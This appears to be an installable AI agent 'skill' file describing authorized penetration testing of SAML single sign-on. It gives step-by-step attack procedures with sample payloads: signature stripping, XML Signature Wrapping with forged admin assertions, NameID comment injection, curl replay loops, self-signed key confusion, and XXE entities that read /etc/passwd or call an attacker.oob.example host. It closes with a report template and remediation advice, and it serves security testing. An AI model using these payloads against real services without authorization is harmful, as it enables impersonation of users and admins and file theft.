exploiting-saml-authentication-flaws
$
npx mdskill add xalgord/xalgorix/exploiting-saml-authentication-flawsExploits SAML authentication flaws to bypass security and impersonate users
- Identifies and exploits vulnerabilities in SAML Single Sign-On (SSO) implementations.
- Uses Burp Suite Professional and SAML Raider for modifying, re-signing, and wrapping SAML messages.
- Analyzes XML Signature Wrapping (XSW1-8), comment injection, assertion replay, and XXE attacks to forge authentication.
- Provides detailed reports on successful bypasses and recommendations for remediation.
SKILL.md
.github/skills/exploiting-saml-authentication-flawsView on GitHub ↗
--- name: exploiting-saml-authentication-flaws description: Identifying and exploiting SAML SSO weaknesses including XML Signature Wrapping (XSW1-8), comment injection in NameID, missing/stripped signatures, recipient and audience confusion, assertion replay, key confusion, and XXE in SAML messages to forge authentication and impersonate users. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - saml - sso - xml-signature-wrapping - xsw - authentication-bypass - web-security version: '1.0' author: xalgorix license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting SAML Authentication Flaws ## When to Use - During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals) - When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP) - For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced - When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins - During bug bounty programs targeting SSO/authentication bypass ## Prerequisites - **Authorization**: Written penetration testing agreement covering authentication bypass and IdP/SP testing - **Burp Suite Professional + SAML Raider**: The primary tool for editing, re-signing, and wrapping SAML messages - **Two SP accounts where possible**: A low-privilege attacker account and a target (admin/victim) identity to impersonate - **A captured SAMLResponse**: A full, valid login flow recorded through Burp (decode base64 + inflate if redirect binding) - **Understanding of bindings**: HTTP-POST (`SAMLResponse` form field, base64) vs HTTP-Redirect (deflated + base64 + URL-encoded) ## Critical: Checks Most Often Missed SAML breaks when the SP verifies a signature over one element but trusts a *different* element, or skips verification entirely. Work this checklist: - **No signature at all is accepted.** Strip the `<ds:Signature>` element completely and submit. Many SPs only validate a signature *if present* — a missing signature then yields a fully forged, attacker-authored assertion. - **Signature exclusion / partial signing.** The Response may be signed but the Assertion is not (or vice-versa). Tamper the *unsigned* element. Also test removing the inner Assertion signature while keeping the Response signature. - **XML Signature Wrapping (XSW1-8) is the core attack.** Keep the validly signed element so signature verification passes, but inject a second forged assertion the application logic actually reads. Cycle through all 8 XSW permutations (different parent nodes, ID handling, ordering) with SAML Raider. - **NameID comment injection.** Insert an XML comment inside `<NameID>`: `[email protected]<!---->[email protected]`. Signature still validates (canonicalization), but the SP's XML reader may return only `[email protected]` — impersonating the admin. Test `<!-- -->`, `<![CDATA[]]>` splits too. - **Recipient / Destination / Audience not validated.** Reuse a valid assertion issued for a *different* SP/recipient against this SP (token recipient confusion / audience restriction bypass). - **Assertion replay.** Resend the same `SAMLResponse` multiple times and after its window; if `NotOnOrAfter`/`OneTimeUse`/replay-cache is not enforced, the token is reusable. - **Key confusion / self-signed acceptance.** Re-sign a tampered assertion with your *own* certificate and submit it (use SAML Raider's "Send Certificate to IdP"/re-sign). If the SP trusts any embedded `<KeyInfo>`/cert instead of a pinned IdP key, your forgery is accepted. - **Signature algorithm downgrade / XXE.** Try `SignatureMethod` downgrade and inject XXE via a `DOCTYPE`/external entity in the SAML XML to read files or trigger SSRF on the SP's parser. - **Always decode AND re-inflate correctly.** Redirect-binding messages are raw-deflate + base64 + URL-encoded; mangling the encoding produces false negatives. Verify your tampered message round-trips before concluding "fixed". ## Workflow ### Step 1: Capture and Decode the SAML Flow Record a full SSO login and decode the assertion for analysis. ```bash # Capture the SAMLResponse in Burp (POST binding: base64 form field). # Decode it: echo "$SAMLRESPONSE_B64" | base64 -d > resp.xml xmllint --format resp.xml | head -n 60 # For HTTP-Redirect binding (deflated): URL-decode, base64-decode, then inflate: python3 - <<'PY' import base64, zlib, urllib.parse, sys raw = urllib.parse.unquote(open('saml_redirect.txt').read().strip()) data = base64.b64decode(raw) print(zlib.decompress(data, -15).decode()) # -15 = raw deflate PY # Identify the key elements: # <samlp:Response ID="_resp1" ...> # <ds:Signature> ... <ds:Reference URI="#_resp1"/> ... (what is signed?) # <saml:Assertion ID="_assert1"> # <saml:Subject><saml:NameID>[email protected]</saml:NameID> # <saml:Conditions NotBefore=... NotOnOrAfter=... > # <saml:AudienceRestriction><saml:Audience>...</saml:Audience> # <saml:SubjectConfirmationData Recipient="https://sp/acs" .../> # Note the Reference URI to know WHICH element the signature actually covers. ``` ### Step 2: Test Missing / Stripped Signature Determine whether the SP enforces that a signature exists and covers the assertion. ```text # In SAML Raider (Burp > intercept the SAMLResponse > SAML Raider Certificate tab): # 1. Remove Signatures -> deletes <ds:Signature> entirely # 2. Forward the message with a tampered NameID (e.g. [email protected]) # # Outcomes: # - Login as admin succeeds => signature not required (critical) # - Rejected => proceed to wrapping / comment injection # Manual variant: delete only the inner <saml:Assertion>'s <ds:Signature> # while keeping the Response-level signature, then alter the Assertion subject. # Tests "signs the Response but trusts the Assertion" confusion. ``` ### Step 3: XML Signature Wrapping (XSW1-8) Inject a forged assertion the app reads while the signed original passes verification. ```text # SAML Raider automates all 8 XSW templates: # Burp > intercept SAMLResponse > "SAML Raider" tab > "XSW" dropdown # Select XSW1 ... XSW8 in turn, set the injected NameID to the victim/admin, # then Forward and observe which identity the SP logs you in as. # What each family does (conceptually): # XSW1/2 -> wrap the signed Response; add a forged Response/Assertion sibling # XSW3/4 -> forged Assertion as sibling/child of the signed Assertion # XSW5/6 -> move the original signed Assertion into the Signature/extensions, # present a forged Assertion where the app looks # XSW7/8 -> abuse Extensions / Object wrappers to hide the signed element # Manual XSW3 sketch (forged assertion BEFORE the signed one, app reads first): # <samlp:Response> # <saml:Assertion ID="_evil"> <-- forged, attacker NameID=admin # <saml:Subject><saml:NameID>[email protected]</saml:NameID>... # </saml:Assertion> # <saml:Assertion ID="_assert1"> <-- original, validly signed # <ds:Signature><ds:Reference URI="#_assert1"/></ds:Signature> # <saml:Subject><saml:NameID>[email protected]</saml:NameID>... # </saml:Assertion> # </samlp:Response> # Signature verifies #_assert1; vulnerable SP processes the FIRST/_evil assertion. # Iterate XSW1-8 because SPs differ in which node they select after verification. ``` ### Step 4: NameID Comment Injection Exploit canonicalization vs application parsing mismatch to impersonate users. ```text # Goal: keep the signature valid (comments are ignored by c14n) but change what # the application reads as the username. # Original signed NameID: # <saml:NameID>[email protected]</saml:NameID> # Tampered (signature still validates): # <saml:NameID>[email protected]<!---->.evil.example</saml:NameID> # <saml:NameID>[email protected]<!-- -->[email protected]</saml:NameID> # Vulnerable XML readers return only the text node before/around the comment # (e.g. "[email protected]"), logging you in as admin. # Also test CDATA and double-comment splits: # admin<![CDATA[]]>@corp.example # [email protected]<!--x--><!--y-->junk # Requires an account whose prefix matches the victim's identifier — pick the # injection point so the truncated value equals the target identity. ``` ### Step 5: Recipient/Audience Confusion and Replay Reuse assertions across SPs/time when conditions are not enforced. ```bash # Recipient confusion: take a valid assertion issued for SP-A and submit it to # SP-B's ACS. If SP-B does not validate Recipient/Destination/Audience, it # accepts a token never meant for it. # Replay: resend the SAME SAMLResponse multiple times, and again AFTER its # NotOnOrAfter window: for i in 1 2 3; do curl -s -o /dev/null -w "replay$i:%{http_code}\n" \ -X POST "https://sp.example.com/saml/acs" \ --data-urlencode "SAMLResponse=$SAMLRESPONSE_B64" \ --data "RelayState=/dashboard" done # Repeated success => no replay cache / OneTimeUse / window enforcement. # Also tamper <saml:Conditions NotOnOrAfter> to a far-future date; if the # signature wasn't required (Step 2) or you re-signed (Step 6), the SP may honor it. ``` ### Step 6: Key Confusion and XXE Forge with your own key, or attack the SP's XML parser directly. ```text # Key confusion / self-sign (SAML Raider): # 1. SAML Raider Certificates tab > "Import certificate" or generate a new one # 2. Tamper the assertion (NameID=admin, future Conditions) # 3. "(Re-)Sign Assertion"/"(Re-)Sign Message" with YOUR cert; the tool embeds # your <KeyInfo>/certificate. # 4. Forward. If the SP trusts the embedded cert instead of a pinned IdP key, # the forged assertion is accepted. # Signature algorithm downgrade: change <ds:SignatureMethod Algorithm=...> to a # weaker/none-like value and observe whether verification is skipped. # XXE in the SAML message (SP parses attacker XML): # <?xml version="1.0"?> # <!DOCTYPE samlp:Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> # ... <saml:NameID>&xxe;</saml:NameID> ... # OOB/SSRF variant: # <!ENTITY xxe SYSTEM "http://attacker.oob.example/x"> # Re-encode (base64 / deflate) and submit; watch for file contents reflected in # errors or an OOB callback. ``` ## Key Concepts | Concept | Description | |---------|-------------| | **XML Signature Wrapping (XSW)** | Keeping a validly signed element while the app processes a separate forged element | | **NameID comment injection** | Using XML comments so canonicalization ignores them but the parser truncates the value | | **Signature exclusion** | SP accepting assertions with the signature removed or only partially covering the data | | **Recipient/Audience confusion** | Replaying an assertion intended for a different SP because conditions aren't validated | | **Assertion replay** | Reusing the same SAMLResponse due to missing replay cache / OneTimeUse / time-window checks | | **Key confusion** | SP trusting an attacker-embedded certificate/KeyInfo instead of a pinned IdP key | | **XXE in SAML** | Injecting external entities into the SAML XML to read files or trigger SSRF on the SP parser | | **Bindings** | HTTP-POST (base64 form field) vs HTTP-Redirect (raw-deflate + base64 + URL-encode) | ## Tools & Systems | Tool | Purpose | |------|---------| | **SAML Raider (Burp extension)** | Edit, remove signatures, apply XSW1-8 templates, re-sign with custom certs | | **Burp Suite Professional** | Intercept POST/Redirect SAML messages and the ACS response | | **xmllint** | Pretty-print and validate the decoded assertion structure | | **Python (zlib/base64)** | Decode/inflate redirect-binding messages and re-encode tampered XML | | **SAML-tracer (browser ext)** | Quickly view SAML messages in the browser during reconnaissance | | **xmlsec1** | Inspect/verify signature references and canonicalization behavior | ## Common Scenarios ### Scenario 1: Missing Signature Acceptance The SP validates a signature only when present. Removing `<ds:Signature>` and setting `NameID` to `[email protected]` logs the attacker in as an administrator. ### Scenario 2: XSW3 Wrapping The signature covers `_assert1`, but the SP processes the first assertion in document order. Injecting a forged assertion before the signed one impersonates any user while verification still passes. ### Scenario 3: NameID Comment Injection `[email protected]<!---->x` keeps the signature valid (comments dropped by c14n) but the SP's XML reader returns `[email protected]`, granting the attacker the admin session. ### Scenario 4: Cross-SP Assertion Replay An assertion minted for one SP is replayed to a second SP that does not check `Audience`/`Recipient`, yielding unauthorized access without any tampering. ## Output Format ``` ## SAML Authentication Flaw Finding **Vulnerability**: SAML XML Signature Wrapping (XSW3) leading to authentication bypass **Severity**: Critical (CVSS 9.1) **Location**: POST /saml/acs (Service Provider Assertion Consumer Service) **OWASP Category**: A07:2021 - Identification and Authentication Failures ### Reproduction Steps 1. Capture a valid SAMLResponse logging in as [email protected] 2. In SAML Raider, apply the XSW3 template; set the injected NameID to [email protected] 3. Forward the tampered SAMLResponse to /saml/acs 4. Signature verification passes (covers original _assert1); the SP processes the forged assertion 5. Authenticated session is established as [email protected] ### Techniques Confirmed | Technique | Result | |-----------|--------| | Signature removed | Rejected | | XSW3 wrapping | Bypassed -> admin session | | NameID comment injection | Bypassed (truncates to [email protected]) | | Assertion replay (x3) | Accepted (no replay cache) | | Recipient/Audience check | Not enforced | ### Impact - Full authentication bypass and impersonation of arbitrary users including admins - No valid credentials for the target identity required - Assertion replay enables persistent reuse of a captured token ### Recommendation 1. Verify the signature and ensure the signed element is exactly the one consumed (resolve by reference, reject documents with multiple/unsigned assertions). 2. Reject assertions lacking a signature; never "validate only if present". 3. Use a hardened SAML library; disable DTD/external entities to stop XXE. 4. Strip/forbid comments in NameID processing; use canonical text extraction. 5. Pin the IdP signing certificate; ignore embedded KeyInfo for trust decisions. 6. Enforce Recipient, Destination, Audience, NotBefore/NotOnOrAfter, and a one-time-use replay cache on every assertion. ```